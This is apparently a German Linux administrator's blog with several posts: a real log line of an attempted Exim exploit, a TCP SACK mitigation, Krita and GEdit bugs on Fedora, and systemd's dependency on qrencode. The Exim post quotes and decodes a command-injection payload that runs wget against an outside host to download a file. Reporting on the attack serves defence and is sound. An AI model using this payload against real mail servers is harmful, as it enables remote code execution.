Die Möchtegern-Exim-Exploitwelle geht weiter

Ich könnte mich wegwerfen vor Lachen, die Scriptkids attackieren tatsächlich Server, die Exim in der gepatchten Version laufen haben oder gleich gar keinen Exim, sondern Postfix 😀

Kleine Umfrage auf unserem Cluster

Und so sieht die neueste Version u.a. aus :

2019-06-19 16:08:46 H=(service.com) [98.158.184.125] F=<support@service.com> rejected RCPT <root+${run{\x2Fbin\x2Fsh\t-c\t\x22wget\x2064.50.180.45\x2ftmp\x2fX.X.X.X\x22}}@XXX.XXXXXXX.XX>: you have been blacklisted.

Ich übersetze mal :

/bin/sh -c „wget 64.50.180.45/tmp/X.X.X.X“

Randnotiz: Das SANS Institute glaubte doch glatt, daß die „/bin/sht -ct“ ausführen wollten, weil deren Postfix die „\t“ in „t“ umgewandelt hatte 🙂

Das obige kann nur funktioniert, wenn man danach auch noch chmod u+x /tmp/X.X.X.X;/tmp/X.X.X.X ausführt und wenn der Server auch mal was ausliefern würde, außer der 404 Seite .. aka… Hack schon gefunden und beseitigt 😉  Naja, die hatten ja auch zwei Tage Zeit 😉

Zu viel Drama um die TCP SACK Problematik

Um dem Drama mal den Schwung aus den Segeln zu nehmen:

sudo echo „0“ > /proc/sys/net/ipv4/tcp_sack

auf den gefixten Linux Kernel warten, rebooten, fertig. Wer keinen neueren Kernel bekommt, trotzdem rebooten muß, der fügt :

net.ipv4.tcp_sack = 0

ans Ende der Datei /etc/sysctl.conf an und schon wird SACK beim Start deaktiviert.

Ich könnte natürlich jetzt auch son Quatsch von mir geben wie :

„Ooohhh! Große Lücke im Kernel! Linux Server werden durch DDOS vom Netz genommen! Panik! Ich sagte PANIK! P.A.N.I.K!!!

blöderweise passierte … rein gar nichts davon 😀

Das jeder seinen Krempel mittlerweile nur noch über den Panikbutton vermarktet, macht es echten Lücken, wie der Exim Root-Exploit Geschichte neulich nicht einfacher. Oder dem Firefox Exploit über Javascript! Was fürn Geheul, und ooooooohhh … zwei Tage später der nächste Security Patch… auch wieder alle im Panikmodus. NOSCRIPT installieren und schon ist Ruhe!

Redhat hat 2 Tage gebraucht den FireFox 67.0.3 zu kompilieren, bevor es endlich mal durchlief und ? Juckt das NOSCRIPT User? Nein 🙂

PS: Wer es für Fedora eilig hat mit dem FF Update : https://koji.fedoraproject.org/koji/buildinfo?buildID=1291078

 

Fedora hat Krita 4.1.8 bekommen und wir ein Problem

Freude, Fedora hat ein Krita Update bekommen \o/ … öhm…auf die sechs Monate alte Version 4.1.8, statt der aktuellen Version 4.2.2. Und damit einen Bug, den Linux Mint schon im Januar hatte, man kann jetzt nämlich das Fenster nicht mehr maximieren. WTF !

„Erfreut Euch an den Bugs, was anderes habt Ihr nicht!“ (Bill Gates)

Ich spare mir mal das lange Palaver über die Ursachen alte Versionen zu compilieren, wenn dann auch noch Bugs drin sind. *Kopfschüttel*  Der Fix ist jedenfalls denkbar einfach. Auf der rechten Seite sind Docker untergebracht. Auf den ersten Blick bemerkt man, daß die Seite komisch aussieht, weil jede Menge neue, völlig unnütze Docker da drin sind. Aus einem mir unverständlichen Grund, triggert das Krita dazu, das Maximize Button im Fensterrahmen abzulehnen und sonst auch alle Request an den Windowmanager das Fenster doch mal zu vergrößern zu verneinen.

Wenn man jetzt ein paar von den Dockern entfernt, braucht man vermutlich eh nicht, dann kommt zuerst die Maximize Funktion wieder und nach dem ersten Refresh des Fensterrahmens ist auch das Button wieder da.

Wer das Zitat von Bill Gates nicht kennt, kann ja mal auf den Text klicken 😉

GEdit und wieder grüßt der Murmelbug

Wir haben das Jahr 2019 und GEdit 3.30 und trotzdem grüßte mich heute der gleiche Bug wie in 2016: ß wird stillschweigend in ss umgewandelt, wenn man was sucht oder ersetzt!

Das ist wie der Murmeltiertag aus dem gleichnamigen Film. Und dieser Bug kann Eurer Frustrationslevel echt hochtreiben, wenn Ihr HTML Dokumente  anpassen müßt, die sehr sehr sehr sehr viele „class=X“ Anweisungen enthalten und die jetzt alle so aussehen „cla&szlig;=X“ , denn wenn man jetzt &szlig; wieder in „ß“ umwandeln lässt bekommt man .. na.. wer rät es .. „claß=X“ … \o/ Da freut sich der Browser mal so richtig drüber! 🙁

Fazit: anderen Editor verwenden! urgs!

Systemd: Aus den Wirren des Paketmanagements

„Aus den Wirren der Paketabhängigkeiten im Dschungel von Systemd“ man könnte einen Roman damit betiteln 🙂  Gestern abend, es war mal wieder Serverupdatezeit, flutschte eine Anzeige eines Fedora-Paketes, daß keinen Sinn machte, über den Bildschirm: qrencode-libs

QR Codes auf einem Server?

Ja, wenn man eine Webseite hat, die z.b. QR Codes ausgibt, weil eine HandyApp einen Bestätigungscode haben will, warum nicht. Dummerweise hatte dieser Server genau einen Job und der hatte nichts mit QR Codes zu tun. „Naja,ok, das wird jemand mal irgendwann für was ausprobiert haben… kann weg!“ denkste Dir so.. und dann kommt das Erwachen: „Wieso will dnf jetzt systemd löschen?“

$ sudo dnf erase qrencode-libs
[sudo] Passwort für  ….. :
Fehler:
Problem: The operation would result in removing the following protected packages: systemd

Das kommt so …

Der Systemd hat eine harte Abhängigkeit auf die lib von dem qrencoder :

$ rpm -q -R systemd | grep qrenc
libqrencode.so.3()(64bit)

ganz genau genommen ist es journalctl:

$ ldd /usr/bin/journalctl |grep qrenc
libqrencode.so.3 => /lib64/libqrencode.so.3 (0x00007fef36540000)

„Kann mir bitte einer erklären, wieso journalctl QR CODES bauen können müßte ?????“

Kann ja wohl nur ein Fehler sein 😉   Der Maintainer bei Redhat war da jetzt anderer Meinung:

What do you mean "wrongfully"? It's "rightfullly" linking against qrencode-libs because that functionality is used by journalctl.
While somewhat unfortunate, it's correct.

Steht aber allein da, denn auch bei Manjaro Linux ist das schon mal jemandem vor mir aufgefallen und siehe:

https://forum.manjaro.org/t/systemd-238-51-1-has-picked-up-a-dependency-on-qrencode/43070

Could this be due to a dirty chroot?

$ ldd `which journalctl`
	linux-vdso.so.1 (0x00007fff47fc9000)
	libpthread.so.0 => /usr/lib/libpthread.so.0 (0x00007f55fd82e000)
	libc.so.6 => /usr/lib/libc.so.6 (0x00007f55fd477000)
	libsystemd-shared-238.so => /usr/lib/systemd/libsystemd-shared-238.so (0x00007f55fd027000)
	libqrencode.so.4 => not found

I’m pretty certain journalctl doesn’t need qrencode?

Das sehe ich auch so, trotzdem habe ich mal etwas geforscht und die Ursache gefunden:

journalctl .c

#if HAVE_QRENCODE
/* If this is not an UTF-8 system don’t print any QR codes */
if (is_locale_utf8()) {
fputs(„\nTo transfer the verification key to your phone please scan the QR code below:\n\n“, stderr);
print_qr_code(stderr, seed, seed_size, n, arg_interval, hn, machine);
}
#endif

Jetzt wirds spannend:

Wozu wird das benutzt?

Um, wenn es ein UTF8-System ist UND der Code mit dem QR Support kompiliert wurde, einen Verifikations Schlüssel als QR CODE fürs Handy auszugeben, um mit dem Versiegelungs-Schlüssel abgesicherte Journaleinträge zu prüfen.

Das Verfahren heißt bei Systemd Forward Secure Sealing (FSS).  Keine Ahnung wer das Feature von Journald nutzt. Es klingt jedenfalls nach einer brauchbaren Idee, falls ein Hacker die Einträge manipuliert. Ich bezweifle aber stark, daß der Key dabei per QR Code an ein Handy übermittelt werden muß, statt per SCP an einen anderen Server.

Für diese eine Zeile Code da oben, die kaum jemand jemals einsetzen wird (Bitte Zahlen liefern, wer welche hat), immer noch diese Lib mit sich rumschleppen… was solls, GB sind billig  😉